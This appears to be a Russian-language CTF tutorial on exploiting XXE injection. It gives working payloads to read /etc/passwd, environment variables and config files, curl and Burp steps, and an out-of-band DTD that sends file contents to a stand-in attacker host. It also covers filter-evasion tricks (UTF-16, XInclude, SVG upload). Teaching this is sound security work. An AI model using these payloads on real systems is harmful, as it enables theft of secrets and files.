
Последние три CTF-соревнования, в которых я участвовал, содержали минимум одно задание на XML external entity injection — и каждый раз больше половины команд застревали именно на нём. Не потому что XXE инъекция — сложная тема. Просто большинство знает ровно один пейлоад с file:///etc/passwd и теряется, когда парсер фильтрует DOCTYPE или молча проглатывает сущность, ничего не вернув в ответе. Эта статья — пошаговый разбор техник эксплуатации XXE уязвимости, которые реально встречаются в веб CTF заданиях: от классического чтения локальных файлов через XXE до blind-эксфильтрации и обхода фильтров. Каждая техника — с конкретным пейлоадом, командой в curl или шагами в Burp Suite Repeater.
XXE уязвимость не живёт сама по себе — в реальных сценариях и в CTF-заданиях повышенной сложности она занимает конкретное место в цепочке атаки. По классификации MITRE ATT&CK, эксплуатация XML парсера через внешние сущности покрывает сразу несколько тактик: Подробнее — в нашем обзоре пентест веб-приложений.
file:// протокол атакующий вытаскивает содержимое файлов с сервера./etc/passwd, /proc/self/environ, конфигурационные файлы приложения) даёт карту файловой системы.В CTF-контексте XXE чаще всего — первый шаг цепочки. Читаем конфиг приложения → находим пароль от базы или API-ключ → переходим к следующему этапу задания. Реже попадается SSRF через XXE (SSRF как таковой относится к OWASP A10:2021-SSRF; сама XXE-уязвимость в классификации OWASP 2021 входит в A05:2021-Security Misconfiguration, ранее выделялась отдельно как A4:2017-XML External Entities (XXE)) — когда через http:// URI внешней сущности обращаемся к внутреннему сервису, недоступному извне.
По классификации CWE, XXE соответствует CWE-611: Improper Restriction of XML External Entity Reference — XML парсер обрабатывает документ с URI, которые резолвятся в ресурсы за пределами предполагаемого контроля. Последствия по CWE-611: чтение данных приложения (Confidentiality), обход защитных механизмов (Integrity), отказ в обслуживании через жор CPU (Availability). OWASP относит небезопасную конфигурацию XML-парсера к категории A05:2021 — Security Misconfiguration.
Перед первым пейлоадом — что должно стоять на машине.
Минимальный стек для отработки XXE:
| Компонент | Версия / требование | Назначение |
|---|---|---|
| Burp Suite Community или Pro | 2024.x+ | Перехват и модификация запросов в Repeater |
| curl | 7.68+ (любая актуальная) | Отправка XML-пейлоадов из терминала |
| xmllint (libxml2-utils) | 2.9+ | Валидация и отладка XML-документов локально |
| Python 3 | 3.8+ | Подъём HTTP-сервера для OOB-эксфильтрации |
| ОС | Kali Linux 2024.x / Ubuntu 22.04+ / macOS | Burp и curl работают на всех |
| RAM | 4 ГБ минимум (8 ГБ если запускаете целевую VM параллельно) | — |
| Сеть | Online (для OOB-техник нужен доступ к внешнему серверу) | — |
Для локальной отработки без подключения к CTF-платформе подойдёт уязвимое приложение bWAPP или лабы PortSwigger Web Security Academy — обе содержат задания на XXE с разным уровнем фильтрации.
XML поддерживает механизм сущностей (entities) — по сути, переменных, объявляемых в блоке DOCTYPE и подставляемых в тело документа. Внешние XML-сущности (external entities) отличаются тем, что их значение загружается из внешнего источника через URI: файл на диске (file://), HTTP-ресурс (http://) или другой протокол. Когда XML парсер встречает ссылку на такую сущность (&xxe;), он послушно резолвит URI, получает содержимое и подставляет его в документ.
XXE инъекция возникает, когда приложение принимает XML-данные от пользователя и парсит их без запрета на обработку внешних сущностей. Атакующий подсовывает свой DOCTYPE с внешней сущностью, указывающей на целевой файл, — и парсер читает его содержимое без вопросов.
Базовый пейлоад, который встречается в подавляющем большинстве CTF-заданий начального уровня:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
<item>&xxe;</item>
</data>
Парсер обрабатывает DOCTYPE, видит определение сущности xxe с SYSTEM-идентификатором file:///etc/passwd, читает файл и подставляет содержимое вместо &xxe;. Если приложение возвращает значение поля <item> в HTTP-ответе — вы видите содержимое /etc/passwd.
Для CTF критично понимать три условия, при которых этот пейлоад сработает: (1) парсер обрабатывает DTD и не блокирует DOCTYPE, (2) парсер разрешает внешние сущности через SYSTEM, (3) приложение отражает содержимое XML-узла в ответе. Если хоть одно условие нарушено — нужна другая техника (blind XXE, XInclude, error-based).
Пошаговая эксплуатация XXE уязвимости в Burp Suite Repeater — основном инструменте для ручного ковыряния XML-эндпоинтов.
Шаг 1: Найти XML-запрос. Откройте Burp Proxy и пройдитесь по функциональности приложения. В Proxy → HTTP history ищите запросы с Content-Type: application/xml или text/xml. Тело таких запросов начинается с <?xml или содержит XML-теги. Типичные места: формы обратной связи, API-запросы, функции проверки наличия товара, импорт данных.
Шаг 2: Отправить запрос в Repeater. Правый клик на найденном запросе → Send to Repeater.
Шаг 3: Определить точку инъекции. Нужно понять, какое поле XML отражается в ответе сервера. Измените значение каждого XML-узла на уникальную строку (например, TESTINJECT123) и нажмите Send. Проверьте Response: если ваша строка появилась — это точка инъекции. По данным PortSwigger, в реальных приложениях часто присутствует множество XML-узлов, и тестировать нужно каждый по отдельности.
Шаг 4: Вставить пейлоад. Добавьте блок <!DOCTYPE> с определением внешней сущности перед корневым элементом. В найденное отражаемое поле подставьте &xxe; вместо оригинального значения. Send.
Шаг 5: Прочитать ответ. Если в Response вместо ожидаемого значения появилось содержимое файла (строки root:x:0:0:root:/root:/bin/bash) — XXE подтверждена. Согласно исследованию Synack, ответ может выглядеть как ошибка валидации: Invalid product ID: root:x:0:0:root... — данные файла подставляются туда, где ожидался корректный идентификатор.
Что читать первым делом на CTF: /etc/passwd (подтверждение уязвимости), /etc/hostname (имя хоста), /proc/self/environ (переменные окружения — часто содержат флаги или API-ключи), /var/www/html/config.php или аналогичные конфигурационные файлы приложения. На Windows — пробуйте file:///C:/Windows/win.ini и file:///C:/Users/Administrator/Desktop/flag.txt.
Ограничение: классическая XXE в Burp Suite работает только если парсер не фильтрует DOCTYPE и не отключена обработка внешних сущностей. Современные библиотеки (libxml2 2.9+, Java DocumentBuilderFactory в актуальных версиях) по умолчанию блокируют внешние сущности. В CTF чаще встречаются намеренно уязвимые конфигурации: PHP с libxml_disable_entity_loader(false) (deprecated в PHP 8.0+), Python lxml с resolve_entities=True, Java с явным setFeature("http://xml.org/sax/features/external-general-entities", true).
На CTF не всегда есть GUI — иногда задание доступно только через SSH-туннель или VPN, и тащить Burp неудобно. curl решает задачу в одну команду.
curl -s -X POST https://target.ctf/api/check \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data><item>&xxe;</item></data>'
Флаг -s убирает progress bar, -X POST задаёт метод, -H устанавливает Content-Type (без него сервер может отклонить запрос), -d содержит XML-пейлоад. Ответ — прямо в терминал.
Для чтения бинарных или многострочных файлов через curl полезен протокол php://filter вместо file:// — если сервер на PHP. Пейлоад с base64-обёрткой: замените URI сущности на php://filter/convert.base64-encode/resource=/etc/passwd. Ответ придёт в base64, декодируйте через echo "<base64>" | base64 -d. Этот приём решает проблему с файлами, содержащими символы, ломающие XML-разметку (угловые скобки, амперсанды), — парсер не упадёт на невалидном XML.
Для автоматизации перебора файлов можно использовать цикл в bash: подготовьте список путей (по одному на строку) и отправляйте запросы последовательно, подставляя каждый путь в URI сущности. На CTF такой подход редко нужен — обычно достаточно 3-5 целевых файлов.
Ограничение curl-подхода: вы не видите заголовки ответа в удобном формате и не можете быстро модифицировать запрос. Для итеративного тестирования (попробовал один путь, затем другой) Burp Repeater удобнее. curl хорош для одноразовых проверок и скриптинга.
Чаще всего в CTF-заданиях средней и высокой сложности парсер обрабатывает XML, но не отражает значение сущности в ответе. Сервер возвращает фиксированный ответ вроде {"status": "ok"} или ошибку без подробностей. Это blind XXE — уязвимость есть, но данные нужно вытаскивать out-of-band.
Принцип: заставить парсер отправить HTTP-запрос на ваш сервер, передав содержимое файла в URL. Для этого используется внешний DTD-файл с параметрическими сущностями (%-сущности).
Шаг 1: Поднимите HTTP-сервер на своей машине (или VPS, доступном из сети CTF): python3 -m http.server 8080.
Шаг 2: Создайте файл evil.dtd на этом сервере:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://YOUR-IP:8080/?d=%file;'>">
%eval;
%exfil;
%file загружает целевой файл, %eval конструирует новую сущность %exfil, которая при резолве отправит содержимое файла как GET-параметр на ваш сервер. Конструкция % — экранированный % внутри определения сущности (требование XML-спецификации).
Шаг 3: Отправьте пейлоад на целевой сервер через curl или Burp. В теле запроса: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % remote SYSTEM "http://YOUR-IP:8080/evil.dtd">%remote;]><foo>trigger</foo>. Парсер загрузит ваш DTD, выполнит цепочку параметрических сущностей — и в логе вашего HTTP-сервера появится строка вида GET /?d=ctf-web-challenge-01 HTTP/1.1.
В заголовке User-Agent входящего запроса часто видна версия Java-рантайма (Java/1.8.0_XXX) или библиотеки парсера — стандартное поведение Java URLConnection, полезная информация для fingerprinting.
Нюанс: OOB-эксфильтрация через URL-параметр работает только для однострочных файлов без спецсимволов (/etc/hostname). Для мультистрочных файлов (/etc/passwd) URL с переводами строк невалиден, а для файлов с null-байтами (/proc/self/environ) парсер оборвёт значение на первом \x00. В этом случае на PHP-целях используйте php://filter/convert.base64-encode/resource=/etc/passwd в сущности %file — это дефолтный подход для OOB, нормализует содержимое перед подстановкой в URL. Либо переходите к error-based технике.
Когда OOB не работает: если целевой сервер сидит в изолированной сети без исходящих HTTP-соединений (встречается в CTF-инфраструктурах с жёсткой сетевой сегментацией). Попробуйте DNS-канал — замените HTTP URI на доменное имя вида %file;.your-domain.com и слушайте DNS-запросы через утилиты типа interactsh. DNS-резолвинг проходит чаще, чем HTTP.
Нет исходящих соединений даже по DNS, но парсер возвращает сообщения об ошибках — используйте error-based XXE. Идея: спровоцировать ошибку парсера, в текст которой попадёт содержимое файла. Определите сущность, ссылающуюся на несуществующий файл, имя которого содержит данные из целевого файла. Парсер попытается открыть файл с именем, включающим содержимое /etc/passwd, получит ошибку «file not found» — и вернёт эту ошибку вместе с данными.
На практике error-based XXE реализуется через локальный DTD-файл, уже присутствующий на сервере: переопределяется сущность из этого DTD с инъекцией целевого файла. Конкретная реализация зависит от парсера и ОС (на Linux часто работает /usr/share/yelp/dtd/docbookx.dtd), поэтому требует перебора доступных DTD.
В заданиях уровня medium-hard стандартный пейлоад не проходит — приложение фильтрует ключевые слова, блокирует DOCTYPE или не поддерживает XML напрямую. Разберём основные техники обхода.
Если WAF или фильтр приложения ищет строку <!DOCTYPE или <!ENTITY — попробуйте сменить кодировку документа. XML-спецификация поддерживает UTF-16: тот же пейлоад, но перекодированный в UTF-16, не совпадёт с ASCII-паттерном фильтра. В curl это делается в два шага: сначала перекодируйте файл iconv -f UTF-8 -t UTF-16 payload.xml -o payload.utf16.xml (iconv добавит BOM, который libxml2 требует для распознавания UTF-16), затем отправьте curl -X POST -H "Content-Type: application/xml; charset=utf-16" --data-binary @payload.utf16.xml https://target/api. Убедитесь, что XML-декларация содержит encoding="UTF-16" — некоторые парсеры требуют и BOM, и явный атрибут кодировки.
Другой приём — обернуть содержимое файла в CDATA-секцию, чтобы спецсимволы (<, >, &) в файле не ломали XML-структуру ответа. Пейлоад использует три параметрические сущности: %start; содержит <![CDATA[, %file; — содержимое файла, %end; — ]]>. Они конкатенируются в одну сущность через внешний DTD. Техника спасает при чтении файлов с XML-подобным содержимым (конфиги, шаблоны).
На PHP-серверах работает обёртка php://filter/convert.base64-encode/resource=<путь> — файл приходит в base64, минуя все проблемы с кодировкой. Для большинства CTF-заданий на PHP этого хватает за глаза.
Неочевидный вектор, описанный в ряде публикаций: API принимает JSON, но фреймворк (Spring Boot с Jackson-dataformat-xml или JAXB на classpath) автоматически переключается на XML-парсер при получении заголовка Content-Type: application/xml. Разработчики могли не предусмотреть этот сценарий — парсер XML активируется при наличии соответствующей библиотеки на classpath.
В Burp Repeater: замените Content-Type: application/json на Content-Type: application/xml, а тело запроса — с JSON на XML с XXE-пейлоадом. Если ответ изменился (не ошибка 415 Unsupported Media Type, а обработка данных или другая ошибка) — парсер активен, можно инжектить.
Применимость: современные фреймворки (Spring Boot 3.x, Express 5.x) по умолчанию не включают XML-парсер без явной конфигурации. Техника работает на legacy-приложениях или фреймворках с небезопасными дефолтами. В CTF такой вектор встречается в заданиях, имитирующих «старый» API.
Бывает ситуация: вы контролируете только значение одного поля, которое сервер вставляет в XML-документ на своей стороне (SOAP-запрос, например). Блок DOCTYPE добавить не получится — вы не управляете структурой документа. Тут работает XInclude — механизм XML-спецификации для включения поддокументов.
Пейлоад подставляется прямо в значение поля: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. Нет DOCTYPE, нет ENTITY — только стандартный XML-элемент с пространством имён XInclude. Фильтры, ищущие <!DOCTYPE или <!ENTITY, этот пейлоад пропустят.
Ограничение: XInclude обрабатывается только если серверный код явно вызывает обработку — в PHP через DOMDocument::xinclude(), в Java через DocumentBuilderFactory.setXIncludeAware(true). По умолчанию XInclude отключён во всех современных парсерах (libxml2, Xerces, PHP SimpleXML), поэтому техника применима значительно реже классической XXE. В CTF попадается в заданиях с SOAP-эндпоинтами, где XInclude часто включён для composability.
Если приложение принимает загрузку изображений и обрабатывает SVG на сервере — это LFI через XML. SVG-формат основан на XML и поддерживает DTD с внешними сущностями. Создайте SVG-файл с XXE-пейлоадом внутри: <?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>. Загрузите через форму — если приложение парсит SVG (ресайз, конвертация), парсер обработает внешнюю сущность.
По данным PortSwigger, даже приложения, ожидающие PNG или JPEG, могут использовать библиотеку обработки изображений с поддержкой SVG (ImageMagick, librsvg). Это расширяет поверхность атаки за пределы очевидных XML-эндпоинтов.
Реальные CVE, подтверждающие разнообразие поверхностей атаки класса XXE (не только SVG):
Эти CVE показывают, что XXE-уязвимости возникают в самых разных точках обработки XML: загрузка файлов, API, десктопные инструменты, конвертеры документов.
При встрече с XML-эндпоинтом на CTF первый вопрос — какую технику применить. Зависит от трёх факторов: контролируете ли вы DOCTYPE, отражаются ли данные в ответе, есть ли сетевой доступ наружу.
| Техника | Преимущества | Ограничения | Когда использовать |
|---|---|---|---|
| Classic XXE (in-band) | Простой пейлоад, мгновенный результат | Нужен контроль DOCTYPE + отражение данных | Форма с XML, данные видны в ответе |
| Blind XXE (OOB) | Работает без отражения | Нужен внешний сервер и сетевой доступ | Данные не отражаются, исходящие соединения разрешены |
| Error-based XXE | Не нужен внешний сервер | Парсер должен возвращать verbose-ошибки | Закрытая сеть, но ошибки не подавлены |
| XInclude | Не нужен DOCTYPE | Парсер должен поддерживать XInclude | Контроль только одного XML-поля (SOAP, вставка в шаблон) |
| Content-Type switch | Неочевидный вектор, обходит WAF | Фреймворк должен авто-переключать парсер | JSON API на legacy-фреймворке |
| SVG upload | Обходит фильтры на XML | Нужна загрузка файлов + SVG-парсинг | Форма загрузки изображений |
Алгоритм выбора:
file:///etc/passwd.На CTF обычно достаточно пунктов 1-3. XInclude и Content-Type switch — для заданий категории hard и выше.
Применимость к разным парсерам: поведение отличается между реализациями. libxml2 (PHP, Python lxml) обрабатывает DTD внешних сущностей по умолчанию в старых версиях и через явные флаги в новых. Xerces (Java) по умолчанию обрабатывает внешние сущности в legacy-конфигурации, но DocumentBuilderFactory в актуальных JDK отключает их, если не вызван setFeature("http://xml.org/sax/features/external-general-entities", true). В PHP функция libxml_disable_entity_loader(false) использовалась для явного включения загрузки внешних сущностей; с libxml2 2.9+ они отключены по умолчанию, сама функция deprecated в PHP 8.0. В CTF-заданиях парсер всегда настроен уязвимо — задача в том, чтобы найти способ доставить пейлоад.
Ни одна из перечисленных техник не работает «везде»: классический пейлоад бесполезен при фильтрации DOCTYPE, blind XXE бесполезен в изолированной сети, XInclude бесполезен на парсерах без поддержки этого модуля. Выбор техники определяется разведкой: посмотрите ответ сервера на базовый пейлоад, проверьте доступность исходящих соединений, определите язык и парсер по заголовкам ответа и поведению при ошибках.
Большинство CTF-игроков учат XXE по одному пейлоаду из чужого writeup и считают, что этого хватит. На практике я вижу обратное: задания усложняются, фильтры становятся изощрённее, и голый <!ENTITY xxe SYSTEM "file:///etc/passwd"> работает только на стендах начального уровня. Реальная ценность — не знание конкретного пейлоада, а понимание того, как XML-парсер обрабатывает сущности, где именно он ломается и какие обходные пути существуют для конкретной реализации. За последний год я заметил тренд: CTF-задания по XXE всё чаще комбинируют с другими классами уязвимостей — SSRF через XXE как первый шаг к обращению к внутреннему API, чтение исходников через file:// для поиска SQL-инъекции в коде, чтение конфигов для получения ключей к следующему этапу. Изолированный XXE — уровень easy-medium. Серьёзные соревнования требуют цепочки, и XXE в ней чаще всего — точка входа. Если хочешь не просто разобрать writeup, а пройти всю атаку самому — на WAPT эту цепочку проходят в модулях с лабами, где каждый вектор нужно собрать руками.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «web».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...